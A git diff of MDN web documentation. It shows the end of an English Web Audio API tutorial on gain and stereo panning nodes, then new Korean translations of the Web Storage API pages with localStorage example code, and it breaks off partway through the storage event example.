+ &lt;span&gt;Play/Pause&lt;/span&gt;
+&lt;/button&gt;
+</pre>
+
+<p>Before we can play our track we need to connect our audio graph from the audio source/input node to the destination.</p>
+
+<p>We've already created an input node by passing our audio element into the API. For the most part, you don't need to create an output node, you can just connect your other nodes to {{domxref("BaseAudioContext.destination")}}, which handles the situation for you:</p>
+
+<pre class="brush: js">track.connect(audioContext.destination);
+</pre>
+
+<p>A good way to visualise these nodes is by drawing an audio graph so you can visualize it. This is what our current audio graph looks like:</p>
+
+<p><img alt="an audio graph with an audio element source connected to the default destination" src="https://mdn.mozillademos.org/files/16195/graph1.jpg" style="border-style: solid; border-width: 1px; height: 486px; width: 1426px;"></p>
+
+<p>Now we can add the play and pause functionality.</p>
+
+<pre class="brush: js">// select our play button
+const playButton = document.querySelector('button');
+
+playButton.addEventListener('click', function() {
+
+ // check if context is in suspended state (autoplay policy)
+ if (audioContext.state === 'suspended') {
+ audioContext.resume();
+ }
+
+ // play or pause track depending on state
+ if (this.dataset.playing === 'false') {
+ audioElement.play();
+ this.dataset.playing = 'true';
+ } else if (this.dataset.playing === 'true') {
+ audioElement.pause();
+ this.dataset.playing = 'false';
+ }
+
+}, false);
+</pre>
+
+<p>We also need to take into account what to do when the track finishes playing. Our <code>HTMLMediaElement</code> fires an <code>ended</code> event once it's finished playing, so we can listen for that and run code accordingly:</p>
+
+<pre class="brush: js">audioElement.addEventListener('ended', () =&gt; {
+ playButton.dataset.playing = 'false';
+}, false);
+</pre>
+
+<h2 id="Modifying_sound">Modifying sound</h2>
+
+<p>Let's delve into some basic modification nodes, to change the sound that we have. This is where the Web Audio API really starts to come in handy. First of all, let's change the volume. This can be done using a {{domxref("GainNode")}}, which represents how big our sound wave is.</p>
+
+<p>There are two ways you can create nodes with the Web Audio API. You can use the factory method on the context itself (e.g. <code>audioContext.createGain()</code>) or via a constructor of the node (e.g. <code>new GainNode()</code>). We'll use the factory method in our code:</p>
+
+<pre class="brush: js">const gainNode = audioContext.createGain();
+</pre>
+
+<p>Now we have to update our audio graph from before, so the input is connected to the gain, then the gain node is connected to the destination:</p>
+
+<pre class="brush: js">track.connect(gainNode).connect(audioContext.destination);
+</pre>
+
+<p>This will make our audio graph look like this:</p>
+
+<p><img alt="an audio graph with an audio element source, connected to a gain node that modifies the audio source, and then going to the default destination" src="https://mdn.mozillademos.org/files/16196/graph2.jpg" style="border-style: solid; border-width: 1px; height: 550px; width: 1774px;"></p>
+
+<p>The default value for gain is 1; this keeps the current volume the same. Gain can be set to a minimum of about -3.4 and a max of about 3.4. Here we'll allow the boombox to move the gain up to 2 (double the original volume) and down to 0 (this will effectively mute our sound).</p>
+
+<p>Let's give the user control to do this — we'll use a <a href="/en-US/docs/Web/HTML/Element/input/range">range input</a>:</p>
+
+<pre class="brush: html">&lt;input type="range" id="volume" min="0" max="2" value="1" step="0.01"&gt;
+</pre>
+
+<div class="note">
+<p><strong>Note</strong>: Range inputs are a really handy input type for updating values on audio nodes. You can specify a range's values and use them directly with the audio node's parameters.</p>
+</div>
+
+<p>So let's grab this input's value and update the gain value when the input node has its value changed by the user:</p>
+
+<pre class="brush: js">const volumeControl = document.querySelector('#volume');
+
+volumeControl.addEventListener('input', function() {
+ gainNode.gain.value = this.value;
+}, false);
+</pre>
+
+<div class="note">
+<p><strong>Note</strong>: The values of node objects (e.g. <code>GainNode.gain</code>) are not simple values; they are actually objects of type {{domxref("AudioParam")}} — these called parameters. This is why we have to set <code>GainNode.gain</code>'s <code>value</code> property, rather than just setting the value on <code>gain</code> directly. This enables them to be much more flexible, allowing for passing the parameter a specific set of values to change between over a set period of time, for example.</p>
+</div>
+
+<p>Great, now the user can update the track's volume! The gain node is the perfect node to use if you want to add mute functionality.</p>
+
+<h2 id="Adding_stereo_panning_to_our_app">Adding stereo panning to our app</h2>
+
+<p>Let's add another modification node to practise what we've just learnt.</p>
+
+<p>There's a {{domxref("StereoPannerNode")}} node, which changes the balance of the sound between the left and right speakers, if the user has stereo capabilities.</p>
+
+<p>Note: The <code>StereoPannerNode</code> is for simple cases in which you just want stereo panning from left to right. There is also a {{domxref("PannerNode")}}, which allows for a great deal of control over 3D space, or sound <em>spatialisation</em>, for creating more complex effects. This is used in games and 3D apps to create birds flying overhead, or sound coming from behind the user for instance.</p>
+
+<p>To visualise it, we will be making our audio graph look like this:</p>
+
+<p><img alt="An image showing the audio graph showing an input node, two modification nodes (a gain node and a stereo panner node) and a destination node." src="https://mdn.mozillademos.org/files/16229/graphPan.jpg" style="border-style: solid; border-width: 1px; height: 532px; width: 2236px;"></p>
+
+<p>Let's use the constructor method of creating a node this time. When we do it this way, we have to pass in the context and any options that that particular node may take:</p>
+
+<pre class="brush: js">const pannerOptions = { pan: 0 };
+const panner = new StereoPannerNode(audioContext, pannerOptions);
+</pre>
+
+<div class="note">
+<p><strong>Note</strong>: The constructor method of creating nodes is not supported by all browsers at this time. The older factory methods are supported more widely.</p>
+</div>
+
+<p>Here our values range from -1 (far left) and 1 (far right). Again let's use a range type input to vary this parameter:</p>
+
+<pre class="brush: html">&lt;input type="range" id="panner" min="-1" max="1" value="0" step="0.01"&gt;
+</pre>
+
+<p>We use the values from that input to adjust our panner values in the same way as we did before:</p>
+
+<pre class="brush: js">const pannerControl = document.querySelector('#panner');
+
+pannerControl.addEventListener('input', function() {
+ panner.pan.value = this.value;
+}, false);
+</pre>
+
+<p>Let's adjust our audio graph again, to connect all the nodes together:</p>
+
+<pre class="brush: js">track.connect(gainNode).connect(panner).connect(audioContext.destination);
+</pre>
+
+<p>The only thing left to do is give the app a try: <a href="https://codepen.io/Rumyra/pen/qyMzqN/">Check out the final demo here on Codepen</a>.</p>
+
+<h2 id="Summary">Summary</h2>
+
+<p>Great! We have a boombox that plays our 'tape', and we can adjust the volume and stereo panning, giving us a fairly basic working audio graph.</p>
+
+<p>This makes up quite a few basics that you would need to start to add audio to your website or web app. There's a lot more functionality to the Web Audio API, but once you've grasped the concept of nodes and putting your audio graph together, we can move on to looking at more complex functionality.</p>
+
+<h2 id="More_examples">More examples</h2>
+
+<p>There are other examples available to learn more about the Web Audio API.</p>
+
+<p>The <a href="https://github.com/mdn/voice-change-o-matic">Voice-change-O-matic</a> is a fun voice manipulator and sound visualization web app that allows you to choose different effects and visualizations. The application is fairly rudimentary, but it demonstrates the simultaneous use of multiple Web Audio API features. (<a href="https://mdn.github.io/voice-change-o-matic/">run the Voice-change-O-matic live</a>).</p>
+
+<p><img alt="A UI with a sound wave being shown, and options for choosing voice effects and visualizations." src="https://mdn.mozillademos.org/files/7921/voice-change-o-matic.png" style="border-style: solid; border-width: 1px; display: block; height: 500px; margin: 0px auto; width: 640px;"></p>
+
+<p>Another application developed specifically to demonstrate the Web Audio API is the <a href="http://mdn.github.io/violent-theremin/">Violent Theremin</a>, a simple web application that allows you to change pitch and volume by moving your mouse pointer. It also provides a psychedelic lightshow (<a href="https://github.com/mdn/violent-theremin">see Violent Theremin source code</a>).</p>
+
+<p><img alt="A page full of rainbow colours, with two buttons labeled Clear screen and mute. " src="https://mdn.mozillademos.org/files/7919/violent-theremin.png" style="border-style: solid; border-width: 1px; display: block; height: 458px; margin: 0px auto; width: 640px;"></p>
+
+<p>Also see our <a href="https://github.com/mdn/webaudio-examples">webaudio-examples repo</a> for more examples.</p>
diff --git a/files/ko/web/api/web_storage_api/index.html b/files/ko/web/api/web_storage_api/index.html
new file mode 100644
index 0000000000..68af357a42
--- /dev/null
+++ b/files/ko/web/api/web_storage_api/index.html
@@ -0,0 +1,117 @@
+---
+title: Web Storage API
+slug: Web/API/Web_Storage_API
+tags:
+ - API
+ - Reference
+ - Storage
+ - Web Storage
+ - Web Storage API
+ - localStorage
+ - sessionStorage
+ - 로컬스토리지
+ - 세션스토리지
+ - 웹 스토리지
+translation_of: Web/API/Web_Storage_API
+---
+<div>{{DefaultAPISidebar("Web Storage API")}}</div>
+
+<p><strong>Web Storage API</strong>는 브라우저에서 키/값 쌍을 {{glossary("cookie", "쿠키")}}보다 훨씬 직관적으로 저장할 수 있는 방법을 제공합니다.</p>
+
+<h2 id="Web_Storage_개념과_사용법">Web Storage 개념과 사용법</h2>
+
+<p>Web Storage의 두 가지 방식은 다음과 같습니다.</p>
+
+<ul>
+ <li><code>sessionStorage</code>는 각각의 {{glossary("origin", "출처")}}에 대해 독립적인 저장 공간을 페이지 세션이 유지되는 동안(브라우저가 열려있는 동안) 제공합니다.
+
+ <ul>
+ <li>세션에 한정해, 즉 브라우저 또는 탭이 닫힐 때까지만 데이터를 저장합니다.</li>
+ <li>데이터를 절대 서버로 전송하지 않습니다.</li>
+ <li>저장 공간이 쿠키보다 큽니다. (최대 5MB)</li>
+ </ul>
+ </li>
+ <li><code>localStorage</code>도 위와 같지만, 브라우저를 닫았다 열어도 데이터가 남아있습니다.
+ <ul>
+ <li>유효기간 없이 데이터를 저장하고, JavaScript를 사용하거나 브라우저 캐시 또는 로컬 저장 데이터를 지워야만 사라집니다.</li>
+ <li>저장 공간이 셋 중 제일 큽니다.</li>
+ </ul>
+ </li>
+</ul>
+
+<p>위의 방식은 {{domxref("Window.sessionStorage")}}와 {{domxref("Window.localStorage")}} 속성을 통해 사용할 수 있습니다. (보다 정확히 말하자면, 지원하는 브라우저에서는 <code>Window</code> 객체는 <code>localStorage</code> 및 <code>sessionStorage</code> 속성을 포함한 <code>WindowLocalStorage</code>와 <code>WindowSessionStorage</code> 객체를 구현합니다) 두 속성 중 하나에 접근하면 {{domxref("Storage")}} 객체의 인스턴스를 생성하게 되고, 그걸 사용해 데이터 항목을 추가, 회수, 제거할 수 있습니다. <code>sessionStorage</code>와 <code>localStorage</code>의 <code>Storage</code> 객체는 각각의 출처별로 다른 것을 사용하며 서로 독립적으로 기능합니다.</p>
+
+<div class="note">
+<p><strong>참고</strong>: Firefox 45 이후로는, 과도한 Web Storage 사용으로 인한 메모리 문제를 피하기 위해 브라우저가 충돌하거나 재시작할 때의 출처 당 저장 공간이 10MB로 제한됩니다.</p>
+</div>
+
+<div class="note">
+<p><strong>참고</strong>: 사용자가 <a href="https://support.mozilla.org/en-US/kb/disable-third-party-cookies">서드 파티 쿠키를 비활성화</a>한 경우 서드 파티 IFrame에서 Web Storage에 접근할 수 없습니다. Firefox는 43부터 이 동작을 사용합니다.</p>
+</div>
+
+<h2 id="Web_Storage_인터페이스">Web Storage 인터페이스</h2>
+
+<dl>
+ <dt>{{domxref("Storage")}}</dt>
+ <dd>특정 도메인과 저장 유형(세션 또는 로컬)에 대해 데이터를 저장, 회수, 삭제할 수 있습니다.</dd>
+ <dt>{{domxref("Window")}}</dt>
+ <dd>Web Storage API는 {{domxref("Window")}} 객체를 확장합니다. {{domxref("Window.sessionStorage")}}와 {{domxref("Window.localStorage")}} 속성을 추가해 현재 도메인의 세션과 로컬 {{domxref("Storage")}} 객체의 접근을 가능케 하고, 새로운 항목을 추가하는 등 저장 공간이 변경될 때 발생하는 {{domxref("Window.onstorage")}} 이벤트 처리기도 추가합니다.</dd>
+ <dt>{{domxref("StorageEvent")}}</dt>
+ <dd><code title="event-storage">storage</code> 이벤트는 저장 공간이 변경될 때 <code>Window</code> 객체에서 발생합니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<p>일반적인 Web Storage 사용법을 설명하기 위한 데모를 만들었습니다. 창의적이게도 <a href="https://github.com/mdn/dom-examples/tree/master/web-storage">Web Storage Demo</a>라는 이름으로, <a href="https://mdn.github.io/dom-examples/web-storage/">랜딩 페이지</a>에서 색, 글꼴, 이미지를 바꿀 수 있습니다. 선택지를 바꾸면 페이지가 실시간으로 변함과 동시에 <code>localStorage</code>에도 현재 상태를 저장하게 되므로, 페이지를 떠났다가 다시 방문해도 선택지가 그대로 보존됩니다.</p>
+
+<p>추가로 이벤트 출력 페이지도 제공 중입니다. 이 페이지를 다른 탭에 열고 랜딩 페이지에서 선택지를 바꾸면 {{domxref("StorageEvent")}}를 통해 업데이트된 저장 정보를 출력하는 것을 볼 수 있습니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'webstorage.html#webstorage')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<h3 id="Window.localStorage"><code>Window.localStorage</code></h3>
+
+<div>
+
+
+<p>{{Compat("api.Window.localStorage")}}</p>
+
+<h3 id="Window.sessionStorage"><code>Window.sessionStorage</code></h3>
+
+<div>
+<div class="hidden">The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("api.Window.sessionStorage")}}</p>
+</div>
+</div>
+
+<h2 id="사생활_보호_시크릿_모드">사생활 보호 / 시크릿 모드</h2>
+
+<p>대부분의 최신 브라우저는 탐색 기록과 쿠키를 남기지 않는 "사생활 보호 모드", "시크릿 모드", 또는 비슷한 이름의 기능을 가지고 있습니다. 그리고 정말 분명한 이유로 인해 Web Storage와 호환되지 않습니다. 브라우저 공급자들은 다양한 시나리오에서 이를 해결하기 위해 실험을 진행하고 있습니다.</p>
+
+<p>대부분의 브라우저는 Web Storage API에 접근 가능하며 기능하는 것 처럼 보이지만, 큰 차이점으로서, 브라우저를 닫으면 저장한 데이터를 제거하는 전략을 택하고 있습니다. 이런 브라우저 사이에서도, 일반 브라우징 세션에서 저장한 기존 데이터의 처리법에 대해서는 이견이 존재합니다. 사생활 보호 모드에서도 저 데이터에 접근할 수 있어야 할까요? 그런 반면, 마찬가지로 Web Storage API는 존재하지만 최대 용량을 0바이트 할당하여 어떠한 데이터도 입력할 수 없도록 하는 일부 브라우저도 존재하며, 대표적으로 Safari가 있습니다.</p>
+
+<p>Web Storage API에 의존하는 웹 사이트를 개발할 때, 개발자는 이러한 구현 차이에 대해 고려해야 합니다. 더 많은 정보는 이 주제를 다루는 <a href="https://blog.whatwg.org/tag/localstorage">WHATWG 블로그 글</a>을 참고하세요.</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API">Web Storage API 사용하기</a></li>
+ <li><a href="/ko/docs/Web/API/IndexedDB_API/Browser_storage_limits_and_eviction_criteria">브라우저 저장 공간 제한과 정리 기준</a></li>
+</ul>
diff --git a/files/ko/web/api/web_storage_api/using_the_web_storage_api/index.html b/files/ko/web/api/web_storage_api/using_the_web_storage_api/index.html
new file mode 100644
index 0000000000..25ad6cfa5f
--- /dev/null
+++ b/files/ko/web/api/web_storage_api/using_the_web_storage_api/index.html
@@ -0,0 +1,218 @@
+---
+title: Web Storage API 사용하기
+slug: Web/API/Web_Storage_API/Using_the_Web_Storage_API
+translation_of: Web/API/Web_Storage_API/Using_the_Web_Storage_API
+---
+<div>{{DefaultAPISidebar("Web Storage API")}}</div>
+
+<p>Web Storage API는 브라우저에서 쿠키를 사용하는 것보다 훨씬 직관적으로 key/value 데이터를 안전하게 저장할 수 있는 메커니즘을 제공합니다.</p>
+
+<p>이 글은 본 기술을 어떻게 사용하는지 설명합니다.</p>
+
+<h2 id="기본_컨셉">기본 컨셉</h2>
+
+<p>Storage 객체는 단순한 key-value 저장소이며, 이는 객체와 비슷합니다. 하지만 이 데이터들은 페이지 로딩에도 온전하게 유지됩니다. key와 그 value는 항상 문자열입니다. (만약 정수로 키를 사용할 경우 이는 자동으로 string으로 변경됩니다, 자바스크립트 객체의 동작방식을 생각해보세요) 객체를 사용하듯이 쉽게 값에 접근할 수 있으며, 이 때 {{domxref("Storage.getItem()")}}과 {{domxref("Storage.setItem()")}} 메서드를 사용할 수 있습니다. 아래 세 줄은 (동일한) colorSetting 엔트리에 값을 설정하는 방법입니다.</p>
+
+<pre style="white-space: pre;">localStorage.colorSetting = '#a4509b';
+localStorage['colorSetting'] = '#a4509b';
+localStorage.setItem('colorSetting', '#a4509b');
+</pre>
+
+<div class="note">
+<p><strong>노트</strong>: 일반 객체를 key-value 저장소로 사용할 때 <a href="http://www.2ality.com/2012/01/objects-as-maps.html">pitfalls</a>과 관련된 사항을 막기 위해 Web Storage API(<code>setItem</code>, <code>getItem</code>, <code>removeItem</code>, <code>key</code>, <code>length</code>)를 사용하는 걸 권장합니다.</p>
+</div>
+
+<p>Web Storage는 두 메커니즘을 가지고 있습니다.</p>
+
+<ul>
+ <li><strong><code>sessionStorage</code></strong>는 페이지의 세션이 유지되는 동안 사용할 수 있는 각 origin별로 별도의 스토리지를 관리합니다. (페이지 리로딩 및 복원을 포함한, 브라우저가 열려있는 한 최대한 긴 시간 동안)</li>
+ <li><strong><code>localStorage</code></strong>도 같은 일을 하지만, 브라우저가 닫히거나 다시 열리더라도 유지합니다.</li>
+</ul>
+
+<p>이 메커니즘들은 {{domxref("Window.sessionStorage")}}와 {{domxref("Window.localStorage")}} 속성(좀 더 정확히 말하자면, 지원하는 브라우저에서 <code>Window</code> 객체는 <code>localStorage</code> 및 <code>sessionStorage</code> 속성 사용이 중단되는 <code>WindowLocalStorage</code>과 <code>WindowSessionStorage</code>로 구현됩니다)으로 사용 가능합니다. 이 중 하나를 호출하면 데이터를 설정, 검색 및 제거할 수 있는 {{domxref("Storage")}} 객체의 인스턴스가 생성됩니다. 각 Storage 객체는 각 origin 별 <code>sessionStorage</code> 나 <code>localStorage</code>로 사용됩니다. 동작도 제각기 동작합니다.</p>
+
+<p>예를 들면, 문서에서 <code>localStorage</code>를 호출하면 {{domxref("Storage")}} 객체를 반환합니다. 문서에서 <code>sessionStorage</code>를 호출하면 다른 {{domxref("Storage")}} 객체를 반환합니다. 둘 다 같은 방법으로 조작할 수 있지만, 서로 다릅니다.</p>
+
+<h2 id="localStorage_기능_지원_감지">localStorage 기능 지원 감지</h2>
+
+<p>localStorage를 사용하려면 먼저 현재 브라우징 세션에서 지원되고 사용 가능한지 확인해야합니다.</p>
+
+<h3 id="사용_가능_검사">사용 가능 검사</h3>
+
+<p>localStorage를 지원하는 브라우저는 windows 객체에  localStorage라는 property가 존재 합니다. 그러나 여러 가지 이유로 인해 예외가 발생할 수 있습니다. 존재한다 해도 다양한 브라우저가 localStorage를 비활성화하는 설정을 제공하기 때문에 localStorage가 실제로 사용 가능하다는 보장은 없습니다. 따라서 브라우저가 localStorage를 지원한다고 해도 스크립트에서 사용 하지 못 할 수도 있습니다.  예를 들어 사파리 브라우저의 사생활 보호 모드에서 할당량이 0 인 빈 localStorage 개체를 제공하므로 효과적으로 사용할 수 없게 만듭니다. 이때 QuotaExceededError를 얻을 수도 있습니다.  이는 사용가능한 저장공간을 모두 소모 했다는 의미로, localStorage를 사용할 수 없음을 뜻합니다.  이러한 시나리오를 고려하여 사용가능 여부를 검사하여야 합니다.</p>
+
+<p>다음은 localStorage가 지원되고 사용 가능한지 여부를 감지하는 함수입니다.</p>
+
+<pre><code>function storageAvailable(type) {
+    var storage;
+    try {
+        storage = window[type];
+        var x = '__storage_test__';
+        storage.setItem(x, x);
+        storage.removeItem(x);
+        return true;
+    }
+    catch(e) {
+        return e instanceof DOMException &amp;&amp; (
+  // Firefox를 제외한 모든 브라우저
+            e.code === 22 ||
+            // Firefox
+            e.code === 1014 ||</code>
+<code> // 코드가 존재하지 않을 수도 있기 떄문에 이름 필드도 확인합니다.
+            // Firefox를 제외한 모든 브라우저
+            e.name === 'QuotaExceededError' ||
+            // Firefox
+            e.name === 'NS_ERROR_DOM_QUOTA_REACHED') &amp;&amp;
+  // </code>이미 저장된 것이있는 경우에만 QuotaExceededError를 확인하십시오.<code>
+           (storage &amp;&amp; storage.length !== 0);
+    }
+}</code></pre>
+
+<p>위 함수를 다음과 같이 사용할 수 있습니다.</p>
+
+<pre><code>if (storageAvailable('localStorage')) {
+ // 야호! 우리는 localStorage를 사용할 수 있습니다.
+}
+else {
+ // 슬픈 소식, localStorage를 사용할 수 없습니다.
+}</code></pre>
+
+<p><code>storageAvailable('sessionStorage')</code>를 호출하여 sessionStorage 사용 가능 여부도 확인할 수 있습니다.</p>
+
+<p>여기서 <a href="https://gist.github.com/paulirish/5558557">로컬 스토리지 기능이 존재하는지 확인하는 방법에 대한 기록</a>을 볼 수 있습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<p>To illustrate some typical web storage usage, we have created a simple example, imaginatively called <strong>Web Storage Demo</strong>. The <a href="https://mdn.github.io/dom-examples/web-storage/">landing page</a> provides controls that can be used to customize the color, font, and decorative image:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/9685/landing.png" style="display: block; height: 482px; margin: 0px auto; width: 700px;">다른 색상을 선택하면, 페이지에 바로 적용됩니다. 또한 선택한 값을 <code>localStorage</code>에 저장했다면, 페이지를 나갔다가 나중에 다시 들어왔을 떄 이전에 저장한 값을 기억하고 있습니다.</p>
+
+<p>We have also provided an <a href="https://mdn.github.io/dom-examples/web-storage/event.html">event output page</a> — if you load this page in another tab, then make changes to your choices in the landing page, you'll see the updated storage information outputted as a {{domxref("StorageEvent")}} is fired.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/9687/event-output.png" style="display: block; height: 482px; margin: 0px auto; width: 700px;"></p>
+
+<div class="note">
+<p><strong>Note</strong>: As well as viewing the example pages live using the above links, you can also <a href="https://github.com/mdn/dom-examples/tree/master/web-storage">check out the source code</a>.</p>
+</div>
+
+<h3 id="Testing_whether_your_storage_has_been_populated">Testing whether your storage has been populated</h3>
+
+<p>To start with on <a href="https://github.com/mdn/dom-examples/blob/master/web-storage/main.js">main.js</a>, we will test whether the storage object has already been populated (i.e., the page was previously accessed):</p>
+
+<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">if</span><span class="punctuation token">(</span><span class="operator token">!</span>localStorage<span class="punctuation token">.</span><span class="function token">getItem</span><span class="punctuation token">(</span><span class="string token">'bgcolor'</span><span class="punctuation token">)</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+ <span class="function token">populateStorage</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span> <span class="keyword token">else</span> <span class="punctuation token">{</span>
+ <span class="function token">setStyles</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span></code></pre>
+
+<p>The {{domxref("Storage.getItem()")}} method is used to get a data item from storage; in this case, we are testing to see whether the <code>bgcolor</code> item exists; if not, we run <code>populateStorage()</code> to add the existing customization values to the storage. If there are already values there, we run <code>setStyles()</code> to update the page styling with the stored values.</p>
+
+<p><strong>Note</strong>: You could also use {{domxref("Storage.length")}} to test whether the storage object is empty or not.</p>
+
+<h3 id="Getting_values_from_storage">Getting values from storage</h3>
+
+<p>As noted above, values can be retrieved from storage using {{domxref("Storage.getItem()")}}. This takes the key of the data item as an argument, and returns the data value. For example:</p>
+
+<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">function</span> <span class="function token">setStyles</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+ <span class="keyword token">var</span> currentColor <span class="operator token">=</span> localStorage<span class="punctuation token">.</span><span class="function token">getItem</span><span class="punctuation token">(</span><span class="string token">'bgcolor'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+ <span class="keyword token">var</span> currentFont <span class="operator token">=</span> localStorage<span class="punctuation token">.</span><span class="function token">getItem</span><span class="punctuation token">(</span><span class="string token">'font'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+ <span class="keyword token">var</span> currentImage <span class="operator token">=</span> localStorage<span class="punctuation token">.</span><span class="function token">getItem</span><span class="punctuation token">(</span><span class="string token">'image'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+ document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">'bgcolor'</span><span class="punctuation token">)</span><span class="punctuation token">.</span>value <span class="operator token">=</span> currentColor<span class="punctuation token">;</span>
+ document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">'font'</span><span class="punctuation token">)</span><span class="punctuation token">.</span>value <span class="operator token">=</span> currentFont<span class="punctuation token">;</span>
+ document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">'image'</span><span class="punctuation token">)</span><span class="punctuation token">.</span>value <span class="operator token">=</span> currentImage<span class="punctuation token">;</span>
+
+ htmlElem<span class="punctuation token">.</span>style<span class="punctuation token">.</span>backgroundColor <span class="operator token">=</span> <span class="string token">'#'</span> <span class="operator token">+</span> currentColor<span class="punctuation token">;</span>
+ pElem<span class="punctuation token">.</span>style<span class="punctuation token">.</span>fontFamily <span class="operator token">=</span> currentFont<span class="punctuation token">;</span>
+ imgElem<span class="punctuation token">.</span><span class="function token">setAttribute</span><span class="punctuation token">(</span><span class="string token">'src'</span><span class="punctuation token">,</span> currentImage<span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span></code></pre>
+
+<p>Here, the first three lines grab the values from local storage. Next, we set the values displayed in the form elements to those values, so that they keep in sync when you reload the page. Finally, we update the styles/decorative image on the page, so your customization options come up again on reload.</p>
+
+<h3 id="Setting_values_in_storage">Setting values in storage</h3>
+
+<p>{{domxref("Storage.setItem()")}} is used both to create new data items, and (if the data item already exists) update existing values. This takes two arguments — the key of the data item to create/modify, and the value to store in it.</p>
+
+<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">function</span> <span class="function token">populateStorage</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+ localStorage<span class="punctuation token">.</span><span class="function token">setItem</span><span class="punctuation token">(</span><span class="string token">'bgcolor'</span><span class="punctuation token">,</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">'bgcolor'</span><span class="punctuation token">)</span><span class="punctuation token">.</span>value<span class="punctuation token">)</span><span class="punctuation token">;</span>
+ localStorage<span class="punctuation token">.</span><span class="function token">setItem</span><span class="punctuation token">(</span><span class="string token">'font'</span><span class="punctuation token">,</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">'font'</span><span class="punctuation token">)</span><span class="punctuation token">.</span>value<span class="punctuation token">)</span><span class="punctuation token">;</span>
+ localStorage<span class="punctuation token">.</span><span class="function token">setItem</span><span class="punctuation token">(</span><span class="string token">'image'</span><span class="punctuation token">,</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">'image'</span><span class="punctuation token">)</span><span class="punctuation token">.</span>value<span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+ <span class="function token">setStyles</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span></code></pre>
+
+<p>The <code>populateStorage()</code> function sets three items in local storage — the background color, font, and image path. It then runs the <code>setStyles()</code> function to update the page styles, etc.</p>
+
+<p>We've also included an <code>onchange</code> handler on each form element so that the data and styling are updated whenever a form value is changed:</p>
+
+<pre class="brush: js line-numbers language-js"><code class="language-js">bgcolorForm<span class="punctuation token">.</span>onchange <span class="operator token">=</span> populateStorage<span class="punctuation token">;</span>
+fontForm<span class="punctuation token">.</span>onchange <span class="operator token">=</span> populateStorage<span class="punctuation token">;</span>
+imageForm<span class="punctuation token">.</span>onchange <span class="operator token">=</span> populateStorage<span class="punctuation token">;</span></code></pre>
+
+<h3 id="Responding_to_storage_changes_with_the_StorageEvent">Responding to storage changes with the StorageEvent</h3>
+
+<p>The {{domxref("StorageEvent")}} is fired whenever a change is made to the {{domxref("Storage")}} object (note that this event is not fired for sessionStorage changes). This won't work on the same page that is making the changes — it is really a way for other pages on the domain using the storage to sync any changes that are made. Pages on other domains can't access the same storage objects.</p>
+
+<p>On the events page (see <a href="https://github.com/mdn/dom-examples/blob/master/web-storage/event.js">events.js</a>) the only JavaScript is as follows:</p>
+
+<pre class="brush: js line-numbers language-js"><code class="language-js">window<span class="punctuation token">.</span><span class="function token">addEventListener</span><span class="punctuation token">(</span><span class="string token">'storage'</span><span class="punctuation token">,</span> <span class="keyword token">function</span><span class="punctuation token">(</span><span class="parameter token">e</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+ document<span class="punctuation token">.</span><span class="function token">querySelector</span><span class="punctuation token">(</span><span class="string token">'.my-key'</span><span class="punctuation token">)</span><span class="punctuation token">.</span>textContent <span class="operator token">=</span> e<span class="punctuation token">.</span>key<span class="punctuation token">;</span>
+ document<span class="punctuation token">.</span><span class="function token">querySelector</span><span class="punctuation token">(</span><span class="string token">'.my-old'</span><span class="punctuation token">)</span><span class="punctuation token">.</span>textContent <span class="operator token">=</span> e<span class="punctuation token">.</span>oldValue<span class="punctuation token">;</span>
+ document<span class="punctuation token">.</span><span class="function token">querySelector</span><span class="punctuation token">(</span><span class="string token">'.my-new'</span><span class="punctuation token">)</span><span class="punctuation token">.</span>textContent <span class="operator token">=</span> e<span class="punctuation token">.</span>newValue<span class="punctuation token">;</span>
+ document<span class="punctuation token">.</span><span class="function token">querySelector</span><span class="punctuation token">(</span><span class="string token">'.my-url'</span><span class="punctuation token">)</span><span class="punctuation token">.</span>textContent <span class="operator token">=</span> e<span class="punctuation token">.</span>url<span class="punctuation token">;</span>
